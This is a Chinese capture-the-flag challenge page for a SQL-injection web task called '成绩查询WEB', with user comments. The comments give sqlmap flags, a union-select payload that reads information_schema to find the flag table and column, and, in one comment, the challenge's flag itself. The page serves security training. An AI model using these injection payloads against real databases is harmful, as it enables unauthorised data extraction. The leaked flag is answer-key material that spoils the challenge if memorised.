成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 9635
提  示:
描  述:
来源山科大ctf
评论
canxue2024 10月前

sqlmap一把梭哈

回复 1

toto 11月前

环境用不了服了smg

回复 0

toto 11月前

环境用不了服了smg

回复 0

use 12月前

--batch -D skctf --dump

回复 0

15826978220 12月前

单引号闭合,联合注入

回复 0

3166235571 12月前

flag{467bbedc241402f5b4e28f37ace7ef82}

回复 0

不聪明小孩 1年前

-1 'union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database()#找到列名skctf_flag,才能从fl4g的表里面找到对应的列的值

回复 0
19818532957 8月前

佬,请问为什么用这条只能爆出一个字段名?-1 'union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'; #

回复 0

DrKeen 1年前

hackbar有问题id=1'做不到,用burp搞了

回复 0

SmallH 1年前

是不是真的环境被改了呀?真的对照WriteUp一步一步来还是没回显,每次注入就全部重置,是不是考虑退一下金币了???

回复 1
.⎛⎝•̀ω•́⎠⎞. 1年前

我用sqlmap做出来了

回复 0

gboyd 1年前

我1’ 1” 1‘) 1”) 1 都试过了为啥都显示正常啊!!!!!

回复 0

WriteUp

image
harry

2 金币

评分(21)

解题动态

smileblack 攻破了该题 7小时前
jingraa 攻破了该题 15小时前
13284646828 攻破了该题 17小时前
15040377707 攻破了该题 18小时前
fc221b 攻破了该题 20小时前
luo220 攻破了该题 22小时前
19513396653 攻破了该题 22小时前
良辰 攻破了该题 1天前
wsgg 攻破了该题 1天前
菜薯为什么 攻破了该题 1天前
18356031890 攻破了该题 2天前
llc1219 攻破了该题 2天前
咔咔 攻破了该题 2天前
147258369bugku 攻破了该题 2天前
kfdwty 攻破了该题 3天前
Ta7suya 攻破了该题 3天前
DOMAKE 攻破了该题 3天前
puppetse 攻破了该题 3天前
keduolim 攻破了该题 4天前
18075013015 攻破了该题 4天前
问题反馈